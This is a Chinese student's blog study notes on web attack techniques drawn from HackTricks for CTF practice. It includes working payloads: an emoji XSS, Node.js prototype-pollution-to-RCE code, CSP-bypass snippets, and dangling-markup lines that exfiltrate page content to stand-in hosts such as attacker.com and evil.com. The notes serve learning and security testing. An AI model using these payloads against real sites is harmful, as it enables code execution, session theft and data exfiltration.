文章

HackTricks学习记录

最近打校赛,搜索资料的时候看到了HackTricks

感觉里面的很多tricks很有价值,于是记录一下学习的过程

HackTricks - HackTricks

unicode问题

规范化

很多后端可能自动规范化unicode,会导致很多问题(SQL注入,XSS,bypass)

例如想要接管[email protected]可以试试注册vić[email protected]

所以看到代码里又关于字符规范化的内容时,可以考虑相关漏洞

XSS

\u3c4b在这里查看)。如果后端前缀\u转换为%,则结果字符串将是%3c4b,URL解码后为:<4b,成功注入<

或者利用emoji注入

<?php
$str = isset($_GET["str"]) ? htmlspecialchars($_GET["str"]) : "";
$str = iconv("Windows-1252", "UTF-8", $str);
$str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
💋img src=x onerror=alert(document.domain)//💛

windows专属

windows用一个相似的字符替换ASCII 模式下无法显示的 unicode 字符,也通常会在执行的最后阶段将 unicode 字符串转换为 ascii 字符串,可能利用unicode绕过对\/的限制

CRLF注入

回车 (CR) 和换行 (LF),Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体

如果直接在响应头中使用用户输入,可能导致浏览器收到的请求被篡改来实现XSSSSRF,启用CORS

UUID

uuid v1可能被三明治攻击,也可能暴露主机mac地址

感觉可以出成题目(bushi

jwt

之前以为jwt只有那点洞,原来还能:

kid问题

头部声明kid表示密钥位置,可能泄露密钥

或者伪造kid为可预测内容的文件,可能导致服务器错误使用文件内容来验证签名。例如,Linux系统中的/proc/sys/kernel/randomize_va_space文件,已知包含值2,可以在kid参数中使用2作为JWT生成的对称密码。

可能用于sql注入或者命令注入(例如服务器直接拼接内容来查询文件)

如果生成时可以指定kid,那么可以任意文件读取

公钥泄露

生成两个jwt可能导致公钥被泄露,结合服务器不校验验证方式,可能bypass

JWKS公钥注入——伪造密钥(CVE-2018-0114)

创建一个新的 RSA 证书对,注入一个 JWKS 文件,攻击者可以使用新的私钥对令牌进行签名,将公钥包含在令牌中,然后让服务使用该密钥来验证令牌

攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。

x5u

指向证书url,可能导致SSRF

ES256

如果某些应用程序使用 ES256 并使用相同的随机数生成两个 JWT,则可以恢复私钥。

ECDSA: Revealing the private key, if nonce revealled (SECP256k1)

nodejs原型链污染到rce

污染__proto__

const { execSync, fork } = require("child_process")
// 原型链污染
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// 如果服务器有类似语句
var proc = fork("./a_file.js")
// 将会创建/tmp/pp2rec
​
// 利用示例
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// 将会创建 /tmp/pp2rec

污染 constructor.prototype

与上一个同理,只不过改成了b.constructor.prototype.xxx

PP2RCE

const { execSync, fork } = require("child_process")
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
​
USERINPUT = JSON.parse(1
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

不只是fork,其他child_process里面的函数都有可能利用,像是spawn,exec,execfile,execFileSync,execSync,spawdSync等,具体利用方式就不贴了,反正原理类似

CSP绕过

允许部分url

如果csp运行从“可信渠道”加载js(而且要有unsafe-eval才行)

例如Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

那么就可以想办法通过这些渠道来xss

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>

类似的还有https://www.google.com/recaptcha/

利用 https://www.google.com/amp/s/example.com/ 来重定向

当然,CTF里面很难出现,实战才有可能

相对路径覆盖(RPO)

如果 CSP 允许路径 https://example.com/scripts/react/ ,但是你只能控制其他路径,则可以按照以下方式绕过:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

base-uri缺失

当网页未指定base-url,那么可以通过

<base href="https://www.attacker.com/" />

来指定base-url

所有使用相对路径的都有可能受到影响

特别的,如果csp没有指定self而是仅使用nonce来限制js,而且js路径为相对路径,则可以XSS

(如果还指定了self就不行)

<html lang="en">
<head>
  <!--csp策略仅允许self脚本加载-->
  <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
</head>
<body>
  <base href="https://www.attacker.com/"/>
  <script src="/evil.js"></script>
</body>
</html>
<!--无法加载-->
<html lang="en">
<head>
  <!--csp使用nonce限制js-->
  <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-abc123'">
</head>
<body>
  <base href="https://www.attacker.com/"/>
  <script src="/evil.js" nonce="abc123"></script>
</body>
</html>
<!--会加载https://www.attacker.com/evil.js-->

无脚本HTML注入

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

通过不闭合标签来尝试发送部分html内容

但是Chrome可能阻止包含 "<" 或 "\n" 的 HTTP URL,所以可以考虑ftp等其他协议

快期中考了,不得不先停一段时间了

这个里面的好多技巧好有趣

等有时间了继续研究

许可协议:  CC BY 4.0